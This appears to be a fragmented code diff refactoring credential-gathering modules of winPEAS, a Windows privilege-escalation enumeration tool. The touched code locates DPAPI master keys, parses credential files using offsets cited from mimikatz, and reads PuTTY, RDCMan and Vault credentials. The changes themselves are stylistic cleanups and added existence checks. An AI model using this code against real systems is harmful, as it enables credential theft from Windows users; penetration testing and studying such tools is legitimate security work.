if (System.IO.Directory.Exists(userDPAPIBasePath))
|
if (Directory.Exists(userDPAPIBasePath))
|
||||||
{
|
{
|
||||||
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
||||||
foreach (string directory in directories)
|
foreach (string directory in directories)
|
||||||
@@ -254,9 +261,9 @@ namespace winPEAS.KnownFileCreds
|
|||||||
{
|
{
|
||||||
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
results.Add(new Dictionary<string, string>()
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "MasterKey", file },
|
{ "MasterKey", file },
|
||||||
@@ -274,13 +281,15 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||||
List<string> userDPAPIBasePaths = new List<string>();
|
List<string> userDPAPIBasePaths = new List<string>
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
{
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||||
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
||||||
{
|
{
|
||||||
if (System.IO.Directory.Exists(userDPAPIBasePath))
|
if (Directory.Exists(userDPAPIBasePath))
|
||||||
{
|
{
|
||||||
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
||||||
foreach (string directory in directories)
|
foreach (string directory in directories)
|
||||||
@@ -291,9 +300,9 @@ namespace winPEAS.KnownFileCreds
|
|||||||
{
|
{
|
||||||
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
results.Add(new Dictionary<string, string>()
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "MasterKey", file },
|
{ "MasterKey", file },
|
||||||
@@ -331,23 +340,25 @@ namespace winPEAS.KnownFileCreds
|
|||||||
string userName = parts[parts.Length - 1];
|
string userName = parts[parts.Length - 1];
|
||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
List<string> userCredFilePaths = new List<string>();
|
List<string> userCredFilePaths = new List<string>
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir));
|
{
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir));
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir),
|
||||||
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userCredFilePath in userCredFilePaths)
|
foreach (string userCredFilePath in userCredFilePaths)
|
||||||
{
|
{
|
||||||
if (System.IO.Directory.Exists(userCredFilePath))
|
if (Directory.Exists(userCredFilePath))
|
||||||
{
|
{
|
||||||
var systemFiles = Directory.EnumerateFiles(userCredFilePath);
|
var systemFiles = Directory.EnumerateFiles(userCredFilePath);
|
||||||
if ((systemFiles != null))
|
if ((systemFiles != null))
|
||||||
{
|
{
|
||||||
foreach (string file in systemFiles)
|
foreach (string file in systemFiles)
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
long size = new System.IO.FileInfo(file).Length;
|
long size = new FileInfo(file).Length;
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
|
|
||||||
// jankily parse the bytes to extract the credential type and master key GUID
|
// jankily parse the bytes to extract the credential type and master key GUID
|
||||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||||
@@ -381,49 +392,54 @@ namespace winPEAS.KnownFileCreds
|
|||||||
}
|
}
|
||||||
|
|
||||||
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
|
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
|
||||||
var files = Directory.EnumerateFiles(systemFolder);
|
if (Directory.Exists(systemFolder))
|
||||||
if ((files != null))
|
|
||||||
{
|
{
|
||||||
foreach (string file in files)
|
var files = Directory.EnumerateFiles(systemFolder);
|
||||||
|
if ((files != null))
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
foreach (string file in files)
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
|
||||||
long size = new System.IO.FileInfo(file).Length;
|
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
|
||||||
|
|
||||||
// jankily parse the bytes to extract the credential type and master key GUID
|
|
||||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
|
||||||
byte[] credentialArray = File.ReadAllBytes(file);
|
|
||||||
byte[] guidMasterKeyArray = new byte[16];
|
|
||||||
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);
|
|
||||||
Guid guidMasterKey = new Guid(guidMasterKeyArray);
|
|
||||||
|
|
||||||
byte[] stringLenArray = new byte[16];
|
|
||||||
Array.Copy(credentialArray, 56, stringLenArray, 0, 4);
|
|
||||||
int descLen = BitConverter.ToInt32(stringLenArray, 0);
|
|
||||||
|
|
||||||
byte[] descBytes = new byte[descLen];
|
|
||||||
Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);
|
|
||||||
|
|
||||||
string desc = Encoding.Unicode.GetString(descBytes);
|
|
||||||
results.Add(new Dictionary<string, string>()
|
|
||||||
{
|
{
|
||||||
{ "CredFile", file },
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
{ "Description", desc },
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
{ "MasterKey", string.Format("{0}", guidMasterKey) },
|
long size = new System.IO.FileInfo(file).Length;
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
string fileName = Path.GetFileName(file);
|
||||||
{ "Modified", string.Format("{0}", lastModified) },
|
|
||||||
{ "Size", string.Format("{0}", size) },
|
// jankily parse the bytes to extract the credential type and master key GUID
|
||||||
});
|
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||||
|
byte[] credentialArray = File.ReadAllBytes(file);
|
||||||
|
byte[] guidMasterKeyArray = new byte[16];
|
||||||
|
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);
|
||||||
|
Guid guidMasterKey = new Guid(guidMasterKeyArray);
|
||||||
|
|
||||||
|
byte[] stringLenArray = new byte[16];
|
||||||
|
Array.Copy(credentialArray, 56, stringLenArray, 0, 4);
|
||||||
|
int descLen = BitConverter.ToInt32(stringLenArray, 0);
|
||||||
|
|
||||||
|
byte[] descBytes = new byte[descLen];
|
||||||
|
Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);
|
||||||
|
|
||||||
|
string desc = Encoding.Unicode.GetString(descBytes);
|
||||||
|
results.Add(new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{ "CredFile", file },
|
||||||
|
{ "Description", desc },
|
||||||
|
{ "MasterKey", string.Format("{0}", guidMasterKey) },
|
||||||
|
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||||
|
{ "Modified", string.Format("{0}", lastModified) },
|
||||||
|
{ "Size", string.Format("{0}", size) },
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||||
List<string> userCredFilePaths = new List<string>();
|
List<string> userCredFilePaths = new List<string>
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
{
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||||
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userCredFilePath in userCredFilePaths)
|
foreach (string userCredFilePath in userCredFilePaths)
|
||||||
{
|
{
|
||||||
@@ -433,10 +449,10 @@ namespace winPEAS.KnownFileCreds
|
|||||||
|
|
||||||
foreach (string file in files)
|
foreach (string file in files)
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
long size = new System.IO.FileInfo(file).Length;
|
long size = new System.IO.FileInfo(file).Length;
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
|
|
||||||
// jankily parse the bytes to extract the credential type and master key GUID
|
// jankily parse the bytes to extract the credential type and master key GUID
|
||||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Putty Sessions");
|
Beaprint.MainPrint("Putty Sessions");
|
||||||
List<Dictionary<string, string>> putty_sess = Putty.GetPuttySessions();
|
List<Dictionary<string, string>> putty_sess = GetPuttySessions();
|
||||||
|
|
||||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
@@ -39,7 +39,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Putty SSH Host keys");
|
Beaprint.MainPrint("Putty SSH Host keys");
|
||||||
List<Dictionary<string, string>> putty_sess = Putty.ListPuttySSHHostKeys();
|
List<Dictionary<string, string>> putty_sess = ListPuttySSHHostKeys();
|
||||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ ".*", Beaprint.ansi_color_bad },
|
{ ".*", Beaprint.ansi_color_bad },
|
||||||
@@ -182,8 +182,10 @@ namespace winPEAS.KnownFileCreds
|
|||||||
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
|
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
|
||||||
if ((hostKeys != null) && (hostKeys.Count != 0))
|
if ((hostKeys != null) && (hostKeys.Count != 0))
|
||||||
{
|
{
|
||||||
Dictionary<string, string> putty_ssh = new Dictionary<string, string>();
|
Dictionary<string, string> putty_ssh = new Dictionary<string, string>
|
||||||
putty_ssh["UserSID"] = SID;
|
{
|
||||||
|
["UserSID"] = SID
|
||||||
|
};
|
||||||
foreach (KeyValuePair<string, object> kvp in hostKeys)
|
foreach (KeyValuePair<string, object> kvp in hostKeys)
|
||||||
{
|
{
|
||||||
putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value
|
putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Xml;
|
using System.Xml;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -77,7 +77,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
|
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
|
||||||
if (System.IO.File.Exists(userRDManFile))
|
if (File.Exists(userRDManFile))
|
||||||
{
|
{
|
||||||
XmlDocument xmlDoc = new XmlDocument();
|
XmlDocument xmlDoc = new XmlDocument();
|
||||||
xmlDoc.Load(userRDManFile);
|
xmlDoc.Load(userRDManFile);
|
||||||
@@ -87,8 +87,8 @@ namespace winPEAS.KnownFileCreds
|
|||||||
XmlNodeList items = filesToOpen[0].ChildNodes;
|
XmlNodeList items = filesToOpen[0].ChildNodes;
|
||||||
XmlNode node = items[0];
|
XmlNode node = items[0];
|
||||||
|
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile);
|
DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile);
|
DateTime lastModified = File.GetLastWriteTime(userRDManFile);
|
||||||
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
||||||
{ "RDCManFile", userRDManFile },
|
{ "RDCManFile", userRDManFile },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||||
@@ -107,9 +107,9 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
|
|
||||||
if (System.IO.File.Exists(userRDManFile))
|
if (File.Exists(userRDManFile))
|
||||||
{
|
{
|
||||||
XmlDocument xmlDoc = new XmlDocument();
|
XmlDocument xmlDoc = new XmlDocument();
|
||||||
xmlDoc.Load(userRDManFile);
|
xmlDoc.Load(userRDManFile);
|
||||||
@@ -119,8 +119,8 @@ namespace winPEAS.KnownFileCreds
|
|||||||
XmlNodeList items = filesToOpen[0].ChildNodes;
|
XmlNodeList items = filesToOpen[0].ChildNodes;
|
||||||
XmlNode node = items[0];
|
XmlNode node = items[0];
|
||||||
|
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile);
|
DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile);
|
DateTime lastModified = File.GetLastWriteTime(userRDManFile);
|
||||||
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
||||||
{ "RDCManFile", userRDManFile },
|
{ "RDCManFile", userRDManFile },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||||
|
|||||||
@@ -209,7 +209,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
|
|||||||
{
|
{
|
||||||
return new NtlmHashInfo(
|
return new NtlmHashInfo(
|
||||||
"NetNTLMv2",
|
"NetNTLMv2",
|
||||||
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp,16, nt_resp.Length - 16))
|
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp, 16, nt_resp.Length - 16))
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -24,11 +24,14 @@ namespace winPEAS.KnownFileCreds.SuperPutty
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
var path = $"{dir}\\Documents\\SuperPuTTY\\";
|
var path = $"{dir}\\Documents\\SuperPuTTY\\";
|
||||||
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
|
if (Directory.Exists(path))
|
||||||
|
|
||||||
foreach (var file in files)
|
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint($" {file}");
|
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
|
||||||
|
|
||||||
|
foreach (var file in files)
|
||||||
|
{
|
||||||
|
Beaprint.BadPrint($" {file}");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
|
|||||||
@@ -45,16 +45,18 @@ namespace winPEAS.KnownFileCreds.Vault
|
|||||||
|
|
||||||
// Create dictionary to translate Guids to human readable elements
|
// Create dictionary to translate Guids to human readable elements
|
||||||
IntPtr guidAddress = vaultGuidPtr;
|
IntPtr guidAddress = vaultGuidPtr;
|
||||||
Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>();
|
Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>
|
||||||
vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note");
|
{
|
||||||
vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential");
|
{ new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note" },
|
||||||
vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector");
|
{ new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential" },
|
||||||
vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials");
|
{ new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector" },
|
||||||
vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials");
|
{ new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials" },
|
||||||
vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential");
|
{ new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials" },
|
||||||
vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential");
|
{ new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential" },
|
||||||
vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential");
|
{ new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential" },
|
||||||
vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null);
|
{ new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential" },
|
||||||
|
{ new Guid("00000000-0000-0000-0000-000000000000"), null }
|
||||||
|
};
|
||||||
|
|
||||||
for (int i = 0; i < vaultCount; i++)
|
for (int i = 0; i < vaultCount; i++)
|
||||||
{
|
{
|
||||||
@@ -167,7 +169,7 @@ namespace winPEAS.KnownFileCreds.Vault
|
|||||||
vault_cred["PacakgeSid"] = string.Format("{0}", packageSid);
|
vault_cred["PacakgeSid"] = string.Format("{0}", packageSid);
|
||||||
}
|
}
|
||||||
vault_cred["Credential"] = string.Format("{0}", cred);
|
vault_cred["Credential"] = string.Format("{0}", cred);
|
||||||
vault_cred["Last Modified"] = string.Format("{0}", System.DateTime.FromFileTimeUtc((long)lastModified));
|
vault_cred["Last Modified"] = string.Format("{0}", DateTime.FromFileTimeUtc((long)lastModified));
|
||||||
results.Add(vault_cred);
|
results.Add(vault_cred);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,15 +1,14 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
using winPEAS.TaskScheduler.TaskEditor.Native;
|
|
||||||
|
|
||||||
namespace winPEAS.Native.Classes
|
namespace winPEAS.Native.Classes
|
||||||
{
|
{
|
||||||
public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid
|
public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid
|
||||||
{
|
{
|
||||||
private const Int32 ERROR_NO_TOKEN = 0x000003F0;
|
private const Int32 ERROR_NO_TOKEN = 0x000003F0;
|
||||||
private const Int32 ERROR_INSUFFICIENT_BUFFER = 122;
|
private const Int32 ERROR_INSUFFICIENT_BUFFER = 122;
|
||||||
private static SafeTokenHandle currentProcessToken = null;
|
private static SafeTokenHandle currentProcessToken = null;
|
||||||
|
|
||||||
private SafeTokenHandle() : base(true) { }
|
private SafeTokenHandle() : base(true) { }
|
||||||
|
|
||||||
@@ -20,102 +19,102 @@ namespace winPEAS.Native.Classes
|
|||||||
|
|
||||||
protected override bool ReleaseHandle() => Kernel32.CloseHandle(handle);
|
protected override bool ReleaseHandle() => Kernel32.CloseHandle(handle);
|
||||||
|
|
||||||
public T GetInfo<T>(TOKEN_INFORMATION_CLASS type)
|
public T GetInfo<T>(TOKEN_INFORMATION_CLASS type)
|
||||||
{
|
{
|
||||||
int cbSize = Marshal.SizeOf(typeof(T));
|
int cbSize = Marshal.SizeOf(typeof(T));
|
||||||
IntPtr pType = Marshal.AllocHGlobal(cbSize);
|
IntPtr pType = Marshal.AllocHGlobal(cbSize);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
// Retrieve token information.
|
// Retrieve token information.
|
||||||
if (!Advapi32.GetTokenInformation(this, type, pType, cbSize, out cbSize))
|
if (!Advapi32.GetTokenInformation(this, type, pType, cbSize, out cbSize))
|
||||||
throw new System.ComponentModel.Win32Exception();
|
throw new System.ComponentModel.Win32Exception();
|
||||||
|
|
||||||
// Marshal from native to .NET.
|
// Marshal from native to .NET.
|
||||||
switch (type)
|
switch (type)
|
||||||
{
|
{
|
||||||
case TOKEN_INFORMATION_CLASS.TokenType:
|
case TOKEN_INFORMATION_CLASS.TokenType:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel:
|
case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenSessionId:
|
case TOKEN_INFORMATION_CLASS.TokenSessionId:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenSandBoxInert:
|
case TOKEN_INFORMATION_CLASS.TokenSandBoxInert:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenOrigin:
|
case TOKEN_INFORMATION_CLASS.TokenOrigin:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenElevationType:
|
case TOKEN_INFORMATION_CLASS.TokenElevationType:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenHasRestrictions:
|
case TOKEN_INFORMATION_CLASS.TokenHasRestrictions:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenUIAccess:
|
case TOKEN_INFORMATION_CLASS.TokenUIAccess:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed:
|
case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled:
|
case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled:
|
||||||
return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T));
|
return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T));
|
||||||
|
|
||||||
case TOKEN_INFORMATION_CLASS.TokenLinkedToken:
|
case TOKEN_INFORMATION_CLASS.TokenLinkedToken:
|
||||||
return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T));
|
return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T));
|
||||||
|
|
||||||
case TOKEN_INFORMATION_CLASS.TokenUser:
|
case TOKEN_INFORMATION_CLASS.TokenUser:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenGroups:
|
case TOKEN_INFORMATION_CLASS.TokenGroups:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenPrivileges:
|
case TOKEN_INFORMATION_CLASS.TokenPrivileges:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenOwner:
|
case TOKEN_INFORMATION_CLASS.TokenOwner:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup:
|
case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenDefaultDacl:
|
case TOKEN_INFORMATION_CLASS.TokenDefaultDacl:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenSource:
|
case TOKEN_INFORMATION_CLASS.TokenSource:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenStatistics:
|
case TOKEN_INFORMATION_CLASS.TokenStatistics:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenRestrictedSids:
|
case TOKEN_INFORMATION_CLASS.TokenRestrictedSids:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges:
|
case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenElevation:
|
case TOKEN_INFORMATION_CLASS.TokenElevation:
|
||||||
case TOKEN_INFORMATION_CLASS.TokenAccessInformation:
|
case TOKEN_INFORMATION_CLASS.TokenAccessInformation:
|
||||||
